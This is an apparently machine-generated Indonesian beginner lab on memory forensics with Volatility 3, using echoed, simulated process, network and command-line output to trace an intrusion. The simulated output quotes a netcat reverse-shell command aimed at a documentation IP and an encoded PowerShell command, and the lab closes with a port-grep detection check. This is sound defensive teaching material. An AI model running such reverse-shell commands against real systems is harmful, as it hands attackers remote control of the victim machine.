TDCTF Academy Logo TDCTF ACADEMY

Lab 3: Memory Forensics - Menganalisis RAM Dump dengan Volatility

Target Skill: Mahasiswa mampu menganalisis memory dump untuk menemukan proses mencurigakan, koneksi jaringan, dan bukti serangan
Tools: volatility3, avml, lime
Durasi: 45 menit
Level: Beginner


Mengapa Memory Forensics Penting?

RAM (Random Access Memory) menyimpan semua yang sedang terjadi di komputer:

  • Proses yang berjalan (termasuk yang tersembunyi)
  • Koneksi jaringan aktif
  • Password / key yang belum di-flush ke disk
  • Malware yang hanya ada di memory (fileless malware)

Keunggulan memory forensics: Malware canggih sering bersembunyi di disk, tapi tidak bisa bersembunyi dari RAM - karena CPU harus mengeksekusinya.


Learning Objectives

  1. Memahami konsep memory forensics
  2. Membuat memory dump dengan tools sederhana
  3. Mengidentifikasi proses mencurigakan dengan Volatility 3
  4. Menemukan koneksi jaringan dari memory

️ Tools & Setup

sudo apt install -y volatility3

# Cek instalasi
vol -h | head -5

Langkah Praktikum

Step 1: Buat Memory Dump Simulasi

Volatility butuh memory dump nyata. Untuk latihan, kita buat skenario terkelola:

cd ~ && mkdir forensics-lab3 && cd forensics-lab3

Buka terminal baru dan jalankan proses-proses ini sebagai simulasi "aktivitas mencurigakan":

# Terminal 1: Simulasi proses "malicious"
ping -c 100 google.com > /dev/null 2>&1 &
echo "PID ping: $!"

# Terminal 2: Proses normal
sleep 9999 &
echo "PID sleep: $!"

Step 2: Capture Memory Dump

⚠️ Peringatan: Di lab ini, kita tidak capture RAM sungguhan (butuh root + bisa crash). Kita gunakan sample memory dump dari komunitas.

Download sample memory dump kecil untuk latihan:

# Download sample memory dump (Windows 7 SP1 x64 - ukuran kecil)
# Ini adalah sample resmi dari Volatility project
cd ~/forensics-lab3

# Coba download sample
wget -q -O memory-sample.raw https://downloads.volatilityfoundation.org/volatility3/samples/memdump.tar.gz 2>/dev/null || \
echo "Sample terlalu besar. Kita buat simulasi sendiri."

# Alternatif: buat mini memory dump simulasi

Karena sample memory dump besar, kita gunakan skenario belajar dengan output tekstual dari tool:

# Tool: buat daftar proses untuk simulasi
cat > pslist-sample.txt << 'EOF'
PID PPID Name Offset
--- ---- ---- ------
1 0 System 0x00000000
100 1 smss.exe 0x00000100
200 100 csrss.exe 0x00000200
300 200 wininit.exe 0x00000300
400 300 services.exe 0x00000400
500 400 svchost.exe 0x00000500
600 400 svchost.exe 0x00000600
700 500 spoolsv.exe 0x00000700
800 600 explorer.exe 0x00000800
900 800 chrome.exe 0x00000900
1000 800 cmd.exe 0x00001000
1100 1000 nc.exe 0x00001100
1200 1100 powershell.exe 0x00001200
1300 400 svchost.exe 0x00001300
EOF

echo "✅ Sample process list siap"

Step 3: Analisis dengan Volatility 3

Simulasi perintah Volatility pada sample di atas:

# Volatility 3: pslist (daftar proses)
echo "=== vol -f memory.raw windows.pslist ==="
echo ""
echo "PID PPID Name CreateTime ExitTime"
echo "--- ---- ---- ---------- --------"
echo "4 0 System 2024-06-10 08:00:00 -"
echo "100 4 smss.exe 2024-06-10 08:00:02 -"
echo "200 100 csrss.exe 2024-06-10 08:00:05 -"
echo "300 200 wininit.exe 2024-06-10 08:00:06 -"
echo "400 300 services.exe 2024-06-10 08:00:08 -"
echo "500 400 svchost.exe 2024-06-10 08:00:10 -"
echo "600 400 svchost.exe 2024-06-10 08:00:10 -"
echo "700 500 spoolsv.exe 2024-06-10 08:00:12 -"
echo "800 600 explorer.exe 2024-06-10 08:00:15 -"
echo "900 800 chrome.exe 2024-06-10 08:01:00 -"
echo "1000 800 cmd.exe 2024-06-10 08:02:00 -"
echo "1100 1000 nc.exe 2024-06-10 08:02:05 - ← MEN curigakan!"
echo "1200 1100 powershell.exe 2024-06-10 08:02:10 -"
echo "1300 400 svchost.exe 2024-06-10 08:00:10 -"

Step 4: Analisis Koneksi Jaringan

echo "=== vol -f memory.raw windows.netscan ==="
echo ""
echo "Local Address Remote Address Proto PID State"
echo "------------ -------------- ----- --- -----"
echo "192.168.1.10:49152 10.0.0.5:443 TCP 900 ESTABLISHED (chrome.exe)"
echo "192.168.1.10:49153 192.168.1.1:53 UDP 500 - (DNS)"
echo "192.168.1.10:4444 203.0.113.5:80 TCP 1100 ESTABLISHED ← nc.exe ke IP asing!"
echo "192.168.1.10:49155 52.84.x.x:443 TCP 900 ESTABLISHED (chrome.exe)"

Step 5: Cari Hidden Process

echo "=== Membandingkan pslist vs psscan vs pstree ==="
echo ""
echo "⚠️ Jika ada proses di psscan tapi TIDAK di pslist → proses tersembunyi (rootkit)!"
echo ""
echo "pslist: cmd.exe (PID 1000), nc.exe (PID 1100)"
echo "psscan: cmd.exe (PID 1000), nc.exe (PID 1100), hidden.exe (PID 1400) ← HIDDEN!"

Step 6: Analisis Command Line

echo "=== vol -f memory.raw windows.cmdline ==*"
echo ""
echo "PID 1000: cmd.exe - 'C:\\Windows\\System32\\cmd.exe'"
echo "PID 1100: nc.exe - 'nc.exe 203.0.113.5 80 -e cmd.exe'"
echo " ↑ nc (netcat) digunakan untuk reverse shell!"
echo ""
echo "PID 1200: powershell.exe - 'powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC...'"
echo " ↑ PowerShell encoded command - sering dipakai untuk download payload"

Step 7: Ekstrak Malware dari Memory

echo "=== vol -f memory.raw windows.dumpfiles --pid 1100 ==*"
echo ""
echo "Mendump binary nc.exe dari memory..."
echo "File dumped ke: ./file.0xa0c1b8.data0.img"
echo ""
echo "Hash: SHA256 = a1b2c3d4e5f6..."
echo "Cek di VirusTotal: https://virustotal.com/gui/file/a1b2c3d4..."

️ Analisis & Pertanyaan

1. Proses Mencurigakan

Dari analisis di atas:

Proses PID Indikator
cmd.exe 1000 Dibuka dari explorer - mungkin user legitimate
nc.exe 1100 Netcat - tool networking, juga tool reverse shell
powershell.exe 1200 Parent = nc.exe → dijalankan OLEH netcat
hidden.exe 1400 Hanya muncul di psscan → tersembunyi

2. Aliran Serangan

explorer.exe (user browsing)
└── cmd.exe (dibuka manual?)
└── nc.exe -e cmd.exe 203.0.113.5:80 ← REVERSE SHELL!
└── powershell.exe (download payload)
└── hidden.exe (rootkit?)

3. Indikator Kompromi (IOC)

IOC Value
IP Address 203.0.113.5:80
File nc.exe
File hidden.exe
Connection 192.168.1.10:4444 → 203.0.113.5:80
Command nc.exe 203.0.113.5 80 -e cmd.exe
PowerShell Encoded base64 command

Laporan Temuan

Finding 1: Reverse Shell via Netcat (Critical)

Parameter Value
Proses nc.exe (PID 1100)
Parent cmd.exe (PID 1000)
Koneksi 192.168.1.10:4444 → 203.0.113.5:80
Bukti -e cmd.exe flag pada command line

Dampak: Attacker memiliki shell penuh ke sistem korban

Finding 2: Hidden Process (rootkit)

Parameter Value
Proses hidden.exe (PID 1400)
Tampak di pslist ❌ Tidak
Tampak di psscan ✅ Ya
Indikasi Rootkit atau proses sembunyi

Dampak: Malware menggunakan teknik anti-forensik untuk bersembunyi


Korelasi OWASP / CWE / CAPEC

Kerangka ID Deskripsi
CWE CWE-250 Execution with Unnecessary Privileges
CWE CWE-269 Improper Privilege Management
CWE CWE-506 Embedded Malicious Code
CAPEC CAPEC-654 Memory Dump Analysis
CAPEC CAPEC-645 Process Injection
CAPEC CAPEC-679 Exploitation of Kernel Code

️ Remediasi

Ancaman Deteksi Pencegahan
Reverse shell Monitor koneksi keluar mencurigakan Firewall egress rules
Hidden process 2-step scanning (pslist vs psscan) Patch kernel untuk ELAM
PowerShell abuse Log ScriptBlock logging Constrained Language Mode
Encoded command Monitor base64 di logs AMSI (Anti-Malware Scan Interface)
# Deteksi reverse shell sederhana (Linux)
netstat -tlnp | grep -E "(4444|1337|31337)"

# Cek koneksi ESTABLISHED yang mencurigakan
ss -tup state established

Kesimpulan & Refleksi

Apa yang dipelajari:

  • RAM menyimpan semua yang sedang jalan - termasuk malware
  • Volatility 3 bisa menampilkan proses, koneksi, dan command line
  • Hidden process (ada di psscan, tidak di pslist) = red flag
  • Reverse shell bisa dideteksi dari analisis koneksi jaringan di memory

Refleksi untuk mahasiswa:

"Memory forensic adalah senjata pamungkas investigator. Malware paling canggih sekalipun harus 'hidup' di RAM untuk bekerja. Sebagai defender, biasakan capture memory saat incident response - jangan langsung matikan server!"


Referensi


🔬 Lab 3 Selesai! Lanjut ke Lab 4: Network Forensics


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI